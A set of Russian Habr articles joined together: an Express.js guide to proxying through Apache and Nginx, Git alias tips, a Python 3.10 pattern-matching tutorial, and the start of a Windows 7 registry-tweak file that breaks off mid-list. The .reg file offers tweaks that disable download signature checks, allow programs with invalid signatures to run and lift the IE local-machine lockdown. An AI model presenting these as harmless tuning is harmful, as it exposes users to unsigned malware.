Я не системный администратор, но я хочу поделиться своим опытом интегрирования node-приложений в [Apache](http://www.apache.org/) и [Nginx](http://wiki.nginx.org/Main), так как считаю, что интеграция является частью процесса разработки. Как Вы знаете, Apache обычно бегает под портом 80, что значит, что если вы перейдёте в браузере по адресу [localhost](http://localhost) или [localhost](http://localhost):80, Вы увидите страницу, обслуживаемую Apache-сервером, и, скорее всего, ваш node-скрипт слушает иной порт. Посему Вам нужно добавить виртуальный хост, который будет принимать запросы и отправлять их на нужный порт. Например, я хочу хостить сайт, который я только что создал, на моём локальном Apache-сервере, под адресом [expresscompletewebsite.dev](http://expresscompletewebsite.dev). Первая вещь, которую мне нужно сделать, это добавить свой домен в файл hosts.
```
127.0.0.1 expresscompletewebsite.dev
```
После этого я должен изменить файл httpd-vhosts.conf, находящийся в директории конфигурации Apache-сервера:
```
# expresscompletewebsite.dev
ServerName expresscompletewebsite.dev
ServerAlias www.expresscompletewebsite.dev
ProxyRequests off
Order deny,allow
Allow from all
ProxyPass http://localhost:3000/
ProxyPassReverse http://localhost:3000/
```
Сервер всё ещё принимает запросы с порта 80, но пересылает их на порт 3000, который как раз и слушает node-скрипт.
Настройка Nginx намного проще, и, честно говоря, это лучший выбор для хостинга приложений на базе Node.js. Так же, как и в настройке Apache, вы должны добавить домен в файл *hosts*. После этого создайте новый файл в директории */sites-enabled*, которая находится там, куда установлен Nginx. Содержимое файла должно выглядеть примерно так:
```
server {
listen 80;
server_name expresscompletewebsite.dev
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $http_host;
}
}
```
Помните, что Вы не можете одновременно запустить Apache и Nginx с одной и той же настройкой хостов. Это потому, что они оба слушают порт 80. Кроме того, Вы сами можете поискать в интернете более подробную информацию о конфигурации серверов, если вы планируете использовать приведенные выше фрагменты кода на боевом сервере. Как я уже сказал, я не эксперт в этой области.
#### Заключение
Express — это отличный фреймворк, который даёт Вам хорошую основу для построения веб-приложений. Как Вы и сами можете видеть, это лишь вопрос выбора, как Вы будете расширять его и что Вы будете использовать вместе с ним. Он упрощает рутинные задачи, используя несколько замечательных middleware’ов и оставляет разработчикам процесс реализации самого вкусного.
##### Исходный код
Исходный код веб-сайта, который мы создали в этой статье, на GitHub – <https://github.com/tutsplus/build-complete-website-expressjs>. Не стесняйтесь форкать и модернизировать. Вот пошаговая инструкция для запуска веб-сайта:
* Скачайте [исходный код](https://github.com/tutsplus/build-complete-website-expressjs)
* Перейдите в директорию скачанного приложения
* Выполние npm install
* Запустите демон mongodb
* Выполните node app.js | https://habr.com/ru/post/192256/ | null | ru | null |
# Малоизвестные Git-команды
У Git есть строгие обязательства по обратной совместимости: многие продвинутые возможности скрыты за разнообразными опциями, а не применяются как поведение по умолчанию. К счастью, Git также поддерживает и алиасы, так что вы можете создавать свои собственные команды, которые делают всю характерную для Git магию. Под катом — подборка полезных (или как минимум забавных) алиасов, определённых в моём *.gitconfig*.
git please
==========
```
$ git config --global alias.please 'push --force-with-lease'
```
Каждому разработчику приходилось хотя бы раз общаться со своим тимлидом на тему принудительного пуша (force pushing) в общую ветку (не делайте этого). Ребейз (rebasing), внесение правок и squash — всё это забавно до тех пор, пока вы не перезапишете часть общей истории и не раскидаете дублирующиеся коммиты по всему репозиторию. К счастью, Git не позволит вам невольно перезаписать историю на сервере. Вам придётся явным образом передать в *git push* опцию *--force*, чтобы доказать серьёзность своих намерений. Но принудительный пуш — это грубый подход: вы затаптываете локальной версией вышерасположенную ветку, и все изменения, которые вы к тому моменту не подтянули (fetch), будут стёрты из истории.
Git-опция *[--force-with-lease](https://developer.atlassian.com/blog/2015/04/force-with-lease/?utm_source=medium&utm_medium=blog&utm_campaign=lesser-git)* действует гораздо аккуратнее: она проверяет, чтобы ваша локальная копия ref’а была самой свежей, прежде чем накатить её. Это означает, что вы как минимум подтянули все изменения, которые собираетесь затоптать. Но чтобы не писать каждый раз *git push --force-with-lease*, я сделал для этой строки алиас: *git please*
git commend
===========
```
$ git config --global alias.commend 'commit --amend --no-edit'
```
Бывало так, что вы закоммитили и тут же сообразили, что забыли проиндексировать (stage) файл? Больше не нужно об этом беспокоиться! Алиас *git commend* тихо прикрепляет к последнему созданному вами коммиту все проиндексированные файлы, повторно используя уже имеющееся сообщение о коммите.
```
$ git add Dockerfile
$ git commit -m ‘Update Bitbucket pipeline with new Docker image’
# (facepalm)
$ git add bitbucket-pipelines.yml
$ git commend
```
git it
======
```
$ git config --global alias.it \
'!git init && git commit -m “root” --allow-empty'
```
Первому коммиту в репозитории нельзя сделать ребейз, как обычному. Поэтому рекомендуется в качестве корневого создавать пустой коммит. Алиас *git it* инициализирует ваш репозиторий и за одну операцию создаёт пустой корневой коммит. И когда вы в следующий раз запустите проект, то не надо просто добавлять его в систему управления версиями: выполните *git it*!
```
$ cd shiny-new-thing
$ git it
Initialized empty Git repository in /shiny-new-thing/.git/
[master (root-commit) efc9119] root
```
git staaash
===========
```
$ git config --global alias.stsh 'stash --keep-index'
$ git config --global alias.staash 'stash --include-untracked'
$ git config --global alias.staaash 'stash --all'
```
*[git stash](https://www.atlassian.com/git/tutorials/git-stash/?utm_source=medium&utm_medium=blog&utm_campaign=lesser-git)* — одна из самых восхитительных и полезных Git-команд. Она регистрирует все изменения, вносимые в отслеживаемый файл в вашем рабочем дереве, и **скрывает** их для последующего использования, а вам показывает чистое дерево, чтобы вы могли спокойно работать с другой его частью. Но если вы создали новые файлы и ещё не проиндексировали их, то по умолчанию *git stash* их не тронет, поэтому у вас будет неопрятное рабочее дерево. Соответственно, по умолчанию не скрывается и содержимое неотслеживаемых или игнорируемых файлов.
Я сделал несколько удобных алиасов для разных вариантов *git stash*, в зависимости от того, какие биты вашего рабочего дерева нужно скрыть:
```
git stsh # скрывает только непроиндексированные изменения в отслеживаемых файлах
git stash # скрывает все изменения в отслеживаемых файлах
git staash # скрывает неотслеживаемые и отслеживаемые файлы
git staaash # скрывает игнорируемые, неотслеживаемые и отслеживаемые файлы
```
Если сомневаетесь в выборе, то самый длинный алиас (*git staaash*) всегда сможет восстановить рабочее дерево состояния свежего клона вашего репозитория.
git shorty
==========
```
$ git config --global alias.shorty 'status --short --branch'
```
Я запускаю *[git status](https://www.atlassian.com/git/tutorials/inspecting-a-repository/?utm_source=medium&utm_medium=blog&utm_campaign=lesser-git)* чаще любой другой Git-команды. Встроенная помощь в Git за последние годы стала куда удобнее, что очень хорошо для начинающих, но для более опытных пользователей информация слишком многословна. Например, *git status* объясняет мне в **12 строках**, что у меня пара индексированных, неиндексированных и неотслеживаемых изменений:
```
$ git status
On branch master
Changes to be committed:
(use “git reset HEAD …” to unstage)
modified: package.json
Changes not staged for commit:
(use “git add …” to update what will be committed)
(use “git checkout -- …” to discard changes)
modified: package.json
Untracked files:
(use “git add …” to include in what will be committed)
index.js
```
Всё то же самое *git shorty* говорит мне тремя строками:
```
$ git shorty
## master
AM test
?? .gitignore
```
Для краткости я сделал это в виде алиаса *git st*, не смог остановиться.
git merc
========
```
$ git config --global alias.merc 'merge --no-ff'
```
Если вы используете обычный рабочий процесс ветвления без ребейза, то будет не лучшим решением запускать стандартный *git merge* для слияния веток с фичами с мастер-веткой. Если не добавить к этой команде опции, то по умолчанию станет использоваться стратегия слияния *--ff*, при которой новый коммит слияния будет создан только в том случае, если в мастер-ветке нет новых изменений. В противном случае мастер-ветка просто «перемотается» до места последнего коммита в вашей ветке. Лишь **иногда**, создавая коммит слияния, при просмотре Git-истории бывает непросто сказать, какой код был разработан в какой ветке.
*git merc* использует стратегию *--no-ff*, при которой всегда создаётся коммит слияния.
Между прочим, *--no-ff* всегда используется по умолчанию в ходе слияния pull request’ов в [Bitbucket](https://bitbucket.org/?utm_source=medium&utm_medium=blog&utm_campaign=lesser-git).
git grog
========
```
$ git config --global alias.grog 'log --graph --abbrev-commit --decorate --all --format=format:"%C(bold blue)%h%C(reset) - %C(bold cyan)%aD%C(dim white) - %an%C(reset) %C(bold green)(%ar)%C(reset)%C(bold yellow)%d%C(reset)%n %C(white)%s%C(reset)"'
```
Мой алиас *git grog* (или **gr**aphical l**og**) в последние годы разросся настолько, что я больше не уверен, будто точно знаю, что он делает. Но выглядит красиво:
Для сравнения, вот стандартный *git log*:
Там доступны все виды [удобных форматов](https://git-scm.com/docs/pretty-formats), так что форкайте вышеуказанную команду и пользуйтесь на здоровье!
Для поклонников GUI
===================
Если вы поклонник Git GUI и работаете под Mac или Windows, то, возможно, вы используете наш [бесплатный Git-клиент Atlassian SourceTree](https://www.sourcetreeapp.com/?utm_source=medium&utm_medium=blog&utm_campaign=lesser-git). Если да, то примените описанные в этой статье алиасы, создав новое **кастомное действие** — можно назначить комбинацию клавиш — в настройках SourceTree:
Это действие запускается с помощью меню (*Actions → Custom Actions*) или клавиатурной комбинации:
Приятного алиасинга! | https://habr.com/ru/post/318508/ | null | ru | null |
# Сопоставляем с образцом как Pythonista
Одним из самых нашумевших нововведений Python 3.10 стало так называемое *структурное сопоставление с образцом* (structural pattern matching). Этот мощный инструмент берёт своё начало в функциональных языках программирования, а в последнее время постепенно появляется и во многих мейнстримовых языках (Java, C#, Kotlin, Swift, и т.д.). Как всегда, Python старается не отставать и идти в ногу со временем. Так зачем же популярные языки программирования добавляют поддержку этого механизма? В чём его отличие от простого условного оператора `if`? И вообще, в чём практическая польза *сопоставления с образцом*? Пробуем разобраться далее.
О чём эта статья
----------------
* [Предыстория](#pred)
* [Переходим к сопоставлению](#per-k-sop)
+ [Match и case](#match-i-case)
+ [Сопоставление с литералами](#sop-s-lit)
+ [Захват значений в образце](#zahvat)
- [Wildcard](#wildcard)
+ [Сопоставление с именованными значениями](#sop-s-im-zn)
+ [Словари](#slovari)
+ [Охранные выражения](#guards)
+ [Группа образцов](#gruppa-obr)
* [Классы как образцы](#klass)
+ [Mypy и проверка на полноту](#mypy)
* [Итоги](#itogi)
* [Полезные ссылки](#pol-ref)
*Все примеры кода приведены для версии Python 3.10*
Предыстория
-----------
В Python существует возможность *распаковки последовательностей* (sequence unpacking), которая позволяет одновременно присваивать нескольким переменным значения элементов последовательности:
```
numbers = [1, 2, 3]
[one, two, three] = numbers
# По сравнению с использованием индексов массива
one = numbers[0]
two = numbers[1]
three = numbers[2]
```
Оба варианта приводят к одному и тому же результату, но, думаю, можно согласиться, что использование *распаковки* повышает выразительность и сокращает количество строк кода. Такой механизм работает, если количество указанных переменных совпадает с количеством элементов в последовательности. Здесь важно отметить, что, хотя мы и используем квадратные скобки (как при обычном объявлении списков) в левой части выражения *распаковки*, новый список `[one, two, three]` **не создаётся**. Эта особенность нам пригодится дальше для понимания работы конструкций `match` и `case`.
Подобным образом можно *распаковывать* не только списки, но и кортежи, а *множественное присваивание* — это фактически использование механизма *распаковки* кортежа:
```
answers = ("yes", "no")
(yes, no) = answers
# Скобки можно опустить
answers = "yes", "no"
yes, no = answers
# Множественное присваивание
yes, no = "yes", "no"
```
Для выбора только определённых элементов последовательности, например первого и последнего, может использоваться следующий синтаксис:
```
numbers = [1, 2, 3, 4, 5]
[one, _, _, _, five] = numbers
# Или более кратко
one, *_, five = numbers
print(one) # 1
print(five) # 5
print(_) # [2, 3, 4]
```
Элементы списка, которые нас не интересуют в данном случае, будут присвоены переменной `_`. Символ нижнего подчёркивания обычно используется для обозначения того факта, что нам неважно конкретное значение переменной.
Переходим к сопоставлению
-------------------------
*Сопоставление с образцом* в некотором смысле является расширением идеи *распаковки последовательностей*. В одном из примеров выше в роли *образца* выступает выражение `[one, two, three]` до оператора `=`.
```
numbers = [1, 2, 3]
[one, two, three] = numbers
```
С этим *образцом* и *сопоставляется* (другими словами, сравнивается) значение переменной `numbers`. Если это *сопоставление* успешно, то значения соответствующих элементов списка присваиваются указанным переменным. Если же *структура* (в случае списка — это количество элементов) переменной `numbers` будет отличаться от *образца*, то *сопоставление* будет считаться неудачным, и возникнет исключение `ValueError`:
```
numbers = [1, 2]
[one, two, three] = numbers
# ValueError: not enough values to unpack (expected 3, got 2)
```
### Match и case
Замечательно, но что, если нас не устраивает исключение `ValueError` в случае неудачного *сопоставления*, и мы хотим как-то заранее проверить, что *структура* списка `numbers` соответствует нашему *образцу*? Одним из вариантов может быть явная проверка условий в `if` и `elif`:
```
numbers = [1, 2, 3]
if isinstance(numbers, list):
if len(numbers) == 3:
[one, two, three] = numbers
print("В списке три элемента:", one, two, three)
# В списке три элемента: 1 2 3
elif len(numbers) == 2:
[one, two] = numbers
print("В списке два элемента:", one, two)
```
Новые ключевые слова `match` и `case` делают такого рода проверки более выразительными:
```
numbers = [1, 2, 3]
match numbers:
case [one, two, three]:
print("В списке три элемента:", one, two, three)
# В списке три элемента: 1 2 3
case [one, two]:
print("В списке два элемента:", one, two)
```
После ключевого слова `match` указывается выражение для *сопоставления*, в данном случае — переменная `numbers`. В каждом блоке `case` находится *образец*, с которым мы хотим *сопоставить* значение переменной `numbers`. Также как и проверка условий в `if` и `elif`, *сопоставление с образцом* в каждом блоке `case` может быть либо успешным, либо неудачным. В случае успешного *сопоставления* переменным указанным в *образце* (`one`, `two`, `three`) присваиваются значения соответствующих элементов списка `numbers`, ещё говорят, что переменные *связываются* со значениями.
Если *образец* не подходит, то *сопоставление* считается неудачным, переменные **не** *связываются* со значениями, и происходит переход к следующему блоку `case` для проверки *образца* там. При первом успешном *сопоставлении* оставшиеся *образцы* в других блоках `case` **не проверяются**.
*Образцы* позволяют проверять не только длину списка, но и конкретные значения элементов:
```
numbers = [1, 100, 1]
match numbers:
case [1, number, 1]:
print(number) # 100
```
*Сопоставление* с таким *образцом* будет успешным, если список `numbers` состоит из трёх элементов, а также первый и последний элемент равны `1`. В случае успешного *сопоставления*, переменная `number` *связывается* со значением второго элемента списка.
### Сопоставление с литералами
В блоках `case` выше мы рассматривали только *образцы последовательностей* (sequence patterns) для *сопоставления*. Конечно, в качестве *образцов* могут использоваться и другие выражения. Одним из самых простых для понимания видов *образцов* являются *литералы*, например, числа и строки. *Сопоставление* с такими *образцами* фактически эквивалентно простому сравнению с помощью оператора `==`.
```
color = "yellow"
match color:
case "red":
print("Красный")
case "yellow":
print("Жёлтый") # Жёлтый
number = 42
match number:
case 1:
print("Один")
case 42:
print("Сорок два") # Сорок два
```
Литералы `True`, `False` и `None` также могут использоваться как *образцы*. Такое *сопоставление* будет эквивалентно использованию оператора `is`:
```
is_success = True
match is_success:
case None:
print("Результат отсутствует")
case False:
print("Неудача")
case True:
print("Успех") # Успех
```
Аналогичный пример выше с использованием блока `if` выглядел бы следующим образом:
```
if is_success is None:
print("Результат отсутствует")
elif is_success is False:
print("Неудача")
elif is_success is True:
print("Успех") # Успех
```
### Захват значений в образце
Об *образцах* в блоках `case` следует думать как об особых конструкциях языка. Исполнение кода в *образце* после ключевого слова `case` может отличаться от исполнения точно такого же кода в другом месте программы вне блока `case`. Одним из примеров этого различия являются так называемые *захватывающие образцы* (capture patterns). Рассмотрим следующий пример:
```
color = "yellow"
red = "red"
match color:
case red:
# Значение color успешно сопоставляется с образцом red ¯\_(ツ)_/¯
print(color) # yellow
print(red) # yellow
```
Возможно, кого-то удивит, что значение переменной `color` соответствует *образцу* `red` в данном случае, ведь значение переменной `red` — это строка `"red"`. Но в блоке `case` действуют свои правила! Здесь `red` — это **не переменная** со значением `"red"`, а *образец*, *сопоставление* с которым **всегда проходит успешно**, именно поэтому подобные *образцы* называются *неопровержимыми* (irrefutable).
Образец `red` как бы *захватывает* значение `color` целиком, и после успешного *сопоставления* переменная `red` *связывается* со значением `"yellow"`. Конечно, вместо `red` мы могли бы использовать более подходящее имя, чтобы не вносить такую путаницу, но имя `red` особенно наглядно показывает этот не совсем интуитивный момент.
#### Wildcard
Помните, как мы использовали нижнее подчёркивание `_` при *распаковке последовательностей* для обозначения элементов, которые нас не интересуют?
```
[first, _, last] = [100, 200, 300]
```
Для подобных целей существует особый *образец* `_`, который называется *wildcard* и является специальным видом *захватывающего образца* (capture pattern). *Образец* `_` также является *неопровержимым*, иначе говоря, любое значение соответствует этому *образцу*, и обычно используется для обработки сценариев по умолчанию, наподобие ветки `else` в условном операторе `if`. Блок `case` с *образцом* `_` обязательно должен быть последним в блоке `match`:
```
def parse_answer(answer: str) -> bool | None:
"""
Аннотация типа bool | None означает,
что функция возвращает либо значение типа bool, либо None.
"""
match answer:
case "yes":
return True
case "no":
return False
case _:
# Выполнится, если сопоставление с двумя образцами выше
# было неудачным
return None
```
### Сопоставление с именованными значениями
Мы уже выяснили, что использование имён в *образцах* позволяет *захватывать* значения (см. *образец* `red` в предыдущем разделе). В таком случае что же делать, если мы хотим использовать в качестве *образца* какое-либо именованное значение, например, переменную?
Здесь работает следующее правило: если в *образце* есть `.`, то происходит *сопоставление* со значением соответствующего атрибута, если же `.` в *образце* нет, то используется *захват* значения:
```
from dataclasses import dataclass
@dataclass(frozen=True)
class Settings:
user: str
some_other_number: int
settings = Settings(user="Гвидо", some_other_number=42)
match "Гвидо":
case settings.user:
# Используется сравнение со значением settings.user
print("Гвидо!") # Гвидо!
case _:
print("Неизвестный пользователь")
match "Гвидо":
case username:
# Используется захват значения, переменная username
# связывается со значением "Гвидо"
print(username) # Гвидо
```
Этот же механизм позволяет использовать *перечисления* (enum) в качестве образцов:
```
from enum import Enum
class Color(Enum):
YELLOW = 1
RED = 2
def color_to_string(color: Color) -> str:
match color:
case Color.YELLOW:
return "yellow"
case Color.RED:
return "red"
```
### Словари
Словари также можно проверять на соответствие специальным *образцам*:
```
numbers = {"one": 1, "two": 2, "three": 3}
match numbers:
case {"one": 1, "two": two}:
print(two) # 2
```
В примере выше словарь `numbers` соответствует *образцу*, и переменная `two` *связывается* со значением в словаре по ключу `"two"`. Как видно из примера, особенностью *сопоставления* словарей является то, что дополнительные ключи, которые не указаны в *образце*, не учитываются при *сопоставлении*. В качестве ключей в *образце* могут использоваться либо литералы, либо *образцы* именованных значений (см. предыдущий раздел).
### Охранные выражения
*Охранные выражения* (guards) позволяют задать дополнительные условия в блоке `case`, которые нельзя указать в *образце*. Посмотрим на следующий пример:
```
numbers = [1, 2]
match numbers:
case [one, two] if one < two:
print(one, "<", two) # 1 < 2
```
Список `numbers` успешно *сопоставится* с *образцом*, только если условие в *охранном выражении* будет истинно. В случае, если условие в *охранном выражении* вернёт `False`, то *сопоставление* будет считаться неудачным.
### Группа образцов
В блоках `case` можно *сопоставлять* значения с несколькими *образцами*, используя разделитель `|`, что означает *логическое ИЛИ*. Например, следующий код *сопоставляет* значение `number` в трёх блоках `case`:
```
number = 2
match number:
case 1 | 2 | 3:
print("Один, два или три") # Один, два или три
case 4:
print("Четыре")
case _:
print("Другое число")
```
*Образец* в первом блоке `case` имеет опцию *ИЛИ*, т.е. если значение `number` соответствует любому из значений в этом *образце*, то *сопоставление* будет успешным, и выполнится код блока `case`.
Классы как образцы
------------------
Одной из самых часто используемых функций в Python является проверка `isinstance`. Эта функция позволяет проверить класс объекта, чтобы убедиться, что с объектом можно выполнить определённые действия:
```
from dataclasses import dataclass
@dataclass(frozen=True)
class Rectangle:
length: float
width: float
shape = Rectangle(length=4.5, width=2.5)
# ...
if isinstance(shape, Rectangle):
# Здесь мы можем быть уверены,
# что у объекта shape есть атрибуты length и width
if shape.width == 2.5:
length = shape.length
print(f"Площадь прямоугольника = { length * 2.5 }")
# Площадь прямоугольника = 11.25
```
Использование *сопоставления с образцом* позволяет проверять не только класс, но и внутреннюю *структуру* объекта:
```
# продолжение предыдущего примера
match shape:
case Rectangle(length, width=2.5):
# Переменная length связывается со значением shape.length
print(f"Площадь прямоугольника = { length * 2.5 }")
# Площадь прямоугольника = 11.25
```
В примере выше *сопоставление* будет успешным только в том случае, если `shape` — это объект класса `Rectangle` и ширина этого прямоугольника равна `2.5.`
Здесь следует ещё раз обратить внимание, что код в *образце* **никогда не создаёт** новых объектов (аналогично *распаковка* списка не создаёт нового списка). Выражение `Rectangle(length, width=2.5)` в блоке `case` — это *образец*, а не создание объекта `Rectangle`.
### Mypy и проверка на полноту
*Далее в примерах я буду использовать аннотации типов и инструмент для статической проверки типов* [*Mypy*](https://github.com/python/mypy) *версии 0.961 с настройками по умолчанию. Аннотации типов в Python необязательны, но их использование и проверка Mypy позволяет значительно повысить надёжность кода.*
Добавим в пример из предыдущего раздела несколько новых геометрических фигур:
```
# продолжение предыдущего примера
@dataclass(frozen=True)
class Circle:
radius: float
@dataclass(frozen=True)
class Square:
side: float
# Shape используется только для аннотаций типов и означает,
# что значения типа Shape -- это объекты одного из трёх классов
Shape = Rectangle | Circle | Square
```
Рассмотрим, как нам может помочь *сопоставление с образцом* при работе с геометрическими фигурами. Добавим функцию для вычисления площади фигуры:
```
# продолжение предыдущего примера
import math
def calc_area(shape: Shape) -> float:
"""Вычисляет площадь фигуры."""
match shape:
case Rectangle(length, width):
return length * width
case Circle(radius):
return math.pi * radius**2
case Square(side):
return side**2
print(calc_area(Rectangle(2.5, 4.5))) # 11.25
print(calc_area(Circle(3.0))) # 28.2743...
print(calc_area(Square(1.5))) # 2.25
```
Мы добавили соответствующий *образец* для каждого класса, объектом которого может быть `shape`. Как видно, *образцы* классов позволяют в одном выражении проверить фактический класс `shape` и *связать* нужные переменные с атрибутами объекта. Если запустить Mypy для проверки текущего кода, то никаких ошибок не будет, — все типы данных используются корректно.
Продолжим работу над нашей программой. Ещё одной необходимой функцией для работы с геометрическими фигурами может быть вычисление периметра:
```
# продолжение предыдущего примера
def calc_perimeter(shape: Shape) -> float:
"""Вычисляет периметр фигуры."""
match shape:
case Rectangle(l, w):
return 2 * (l + w)
case Circle(r):
return 2 * math.pi * r
print(calc_perimeter(Rectangle(2.5, 4.5))) # 14.0
print(calc_perimeter(Circle(3.0))) # 18.8495...
print(calc_perimeter(Square(1.5))) # ???
```
Внимательный читатель заметит, что в этот раз мы забыли указать *образец* для класса `Square`, что с большой вероятностью приведёт к ошибкам в работе нашей программы. Однако если запустить Mypy, то мы сразу увидим соответствующую ошибку:
```
pattern_matching.py:38: error: Missing return statement
Found 1 error in 1 file (checked 1 source file)
```
Это жалоба на то, что наши *образцы* не покрывают всех возможных случаев — и, действительно, так оно и есть! Когда мы определяем функцию, мы должны всегда включать все *образцы*, которые можно *сопоставить* с любым входным значением. В случае нашего типа `Shape` — мы должны указывать три *образца* для каждой геометрической фигуры.
Если мы расширим наш тип `Shape` и добавим новую фигуру `Triangle`:
```
# продолжение предыдущего примера
@dataclass(frozen=True)
class Triangle:
a: float
b: float
c: float
Shape = Rectangle | Circle | Square | Triangle
```
то при проверке Mypy сообщит нам обо всех местах в коде, где нужно добавить *образец* для новой фигуры во все блоки `match`:
```
pattern_matching.py:31: error: Missing return statement
pattern_matching.py:46: error: Missing return statement
Found 2 errors in 1 file (checked 1 source file)
```
В нашем случае мы должны расширить блоки `match` в двух функциях для вычисления площади и периметра треугольника. Если представить, что наша программа гораздо больше, и таких функций не две, а несколько десятков, то ценность *проверки на полноту* (exhaustiveness checking) значительно возрастает.
Итоги
-----
*Сопоставление с образцом* является очень мощным средством языка. Этот механизм позволяет выполнять сложные проверки структуры объектов, что даёт возможность сделать код программы более выразительным и легкочитаемым. В свою очередь использование Mypy для статической проверки блоков `match` и `case` повышает надёжность кода, а *проверка на полноту* (exhaustiveness checking) является очень важным свойством для гарантий корректности и рефакторинга программ.
Полезные ссылки
---------------
1. [PEP 635 – Structural Pattern Matching: Motivation and Rationale](https://peps.python.org/pep-0635/)
2. [PEP 636 – Structural Pattern Matching: Tutorial](https://peps.python.org/pep-0636/)
3. [Mypy](https://mypy-lang.blogspot.com/2022/03/mypy-0940-released.html) | https://habr.com/ru/post/677126/ | null | ru | null |
# Комплексный твик реестра для Windows 7 + бонус: Перенос пользовательских данных
#### Быстрая настройка Windows
Установка операционной системы Windows стала обыденным делом для многих пользователей. Кто-то использует оригинальные образы, а кто-то экспериментирует со сборками — разницы особой нет. Если идти стандартным путём, а не развёртыванием из подготовленного образа, то процесс установки не должен вызвать проблем на исправном железе. После нескольких перезагрузок мы видим чистый рабочий — дальше нас ждёт настройка.
Можно долго и нудно настраивать различные параметры системы по разным аплетам Панели управления и др., ставя и снимая галочки, прописывая нужные параметры. Но есть и более быстрый путь — применить все необходимые настройки «в два клика» — через готовый файл настроек реестра. Про твики реестра Windows системные администраторы должны знать. Наверняка у многих есть свой набор настроек, собранных в \*.reg файле. С помощью твиков можно не только быстро настроить «чистую» операционную систему, но и переиначить параметры рабочей машины без переустановки ОС.
Свой \*.reg файл твиков реестра я составлял несколько лет. Основа была взята с форума OSZone, но много добавил и своего. Часть твиков была найдена опытным путём с помощью программы RegShot 1.8.2. Также кое-что было найдено в недрах документации Microsoft. Я буквально подряд проходил некоторые ветки реестра и искал информацию по неизвестным ключам настройки. Основная цель данных твиков — это повышение быстродействия, высвобождение памяти и создание удобства в работе.
```
Windows Registry Editor Version 5.00
;Добавить пункт "Копировать в папку..." в контекстное меню файлов
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\CopyTo]
@="{C2FBB630-2971-11d1-A18C-00C04FD75D13}"
;Добавить пункт "Переместить в папку..." в контекстное меню файлов
[HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers\MoveTo]
@="{C2FBB631-2971-11d1-A18C-00C04FD75D13}"
[HKEY_CURRENT_USER\Control Panel\Desktop]
;Увеличить частоту мерцания курсора
"CursorBlinkRate"="200"
;Отключить сглаживание неровностей экранных шрифтов
"FontSmoothing"="0"
;Отключить сглаживание ClearType
"FontSmoothingType"=dword:00000000
;Дополнительные настройки окон
[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
;Показывать полностью имена длинных файлов в проводнике
"IconTitleWrap"="0"
;Отключить анимацию окон при свертывании и развертывании
"MinAnimate"="0"
[HKEY_CURRENT_USER\Control Panel\Keyboard]
;Убрать задержку повтора при зажатии клавиши
"KeyboardDelay"="0"
[HKEY_CURRENT_USER\Environment]
;Использовать %WinDir%\Temp как временную папку для всех пользователей
"TEMP"=-
"TMP"=-
[HKEY_CURRENT_USER\Keyboard Layout\Preload]
;Английский язык по умолчанию, а также добавление русского и украинского
"1"="00000409"
"2"="00000419"
"3"="00000422"
[HKEY_CURRENT_USER\Keyboard Layout\Toggle]
;Переключение между языками ввода Ctrl+Shift
"Hotkey"="2"
"Language Hotkey"="2"
"Layout Hotkey"="3"
[HKEY_CURRENT_USER\Software\Microsoft\FTP]
;Не разрешать представление FTP-узлов в виде папок
"Use Web Based FTP"="yes"
;Насторойки меню браузера Internet Explorer 8
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\CommandBar]
;Не отображать Командную строку
"CommandBarEnabled"=dword:00000000
;Не отображать кнопку совместимости
"ShowCompatibilityViewButton"=dword:00000000
;Параметры проверки цифровой подписи программ
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download]
;Не проверять цифровую подпись загружаемых программ
"CheckExeSignatures"="no"
;Запускать программы с непроверенной цифровой подписью
"RunInvalidSignatures"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\LinksBar]
;Не отображать Панель избранного
"Enabled"=dword:00000000
;Дополнительные настройки Internet Explorer 8
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
;Не выполнять поиск из адресной строки
"AutoSearch"=dword:00000000
;Не предлагать Internet Explorer использовать по умолчанию
"Check_Associations"="no"
;Запретить сторонние расширения обозревателя
"Enable Browser Extensions"="no"
;Время завершения настройки
"IE8RunOnceCompletionTime"=hex:00
;Браузер IE8 уже запускался
"IE8RunOnceLastShown"=dword:00000001
;Время пследнего запуска
"IE8RunOnceLastShown_TIMESTAMP"=hex:00
;Предварительная настройка IE8 выполнена
"IE8RunOncePerInstallCompleted"=dword:00000001
;Тур знакомства с IE8 пройден
"IE8TourShown"=dword:00000001
;Время показа тура знакомства с IE8
"IE8TourShownTime"=hex:00
;Отключить уведомление по окончании загрузки файла
"NotifyDownloadComplete"="no"
;Убрать эффект затемнения при переходе с одной страницы на другую
"Page_Transitions"=dword:00000000
;Пустая страница по умолчанию в Internet Explorer
"Start Page"="about:blank"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN]
;Разрешить запуск активного содержимого файлов на моем компьютере
"iexplore.exe"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_LOCALMACHINE_LOCKDOWN\Settings]
;Разрешить запуск активного содержимого компакт-дисков на моем компьютере
"LOCALMACHINE_CD_UNLOCK"=dword:00000001
;Дополнительные настройки Windows Media Player 12
[HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Preferences]
;Принять лицензионное соглашение
"AcceptedPrivacyStatement"=dword:00000001
;Не добавлять файлы видео, найденные в библиотеке изображений
"AddVideosFromPicturesLibrary"=dword:00000000
;Отключить автоматическое добавление музыки в библиотеку
"AutoAddMusicToLibrary"=dword:00000000
;Не удалять файлы с компьютера при удалении из библиотеки
"DeleteRemovesFromComputer"=dword:00000000
;Запретить автоматическую проверку лицензий защищённых файлов
"DisableLicenseRefresh"=dword:00000001
;Проигрыватель уже запускался
"FirstRun"=dword:00000000
;Не сохранять оценки в файлах мультимедиа
"FlushRatingsToFiles"=dword:00000000
;Не спрашивать о воспроизведении с веб-страницы
"HTMLViewAsk"=dword:00000000
;Не обновлять содержимое библиотеки при первом запуске
"LibraryHasBeenRun"=dword:00000001
;Не показывать сведения о мультимедиа из Интернета и не обновлять файлы
"MetadataRetrieval"=dword:00000000
;Отключить загрузку лицензий на использование файлов мультимедиа
"SilentAcquisition"=dword:00000000
;Не устанавливать автоматически часы на устройсвтах
"SilentDRMConfiguration"=dword:00000000
;Увеличить время запроса автоматического обновления проигрывателя
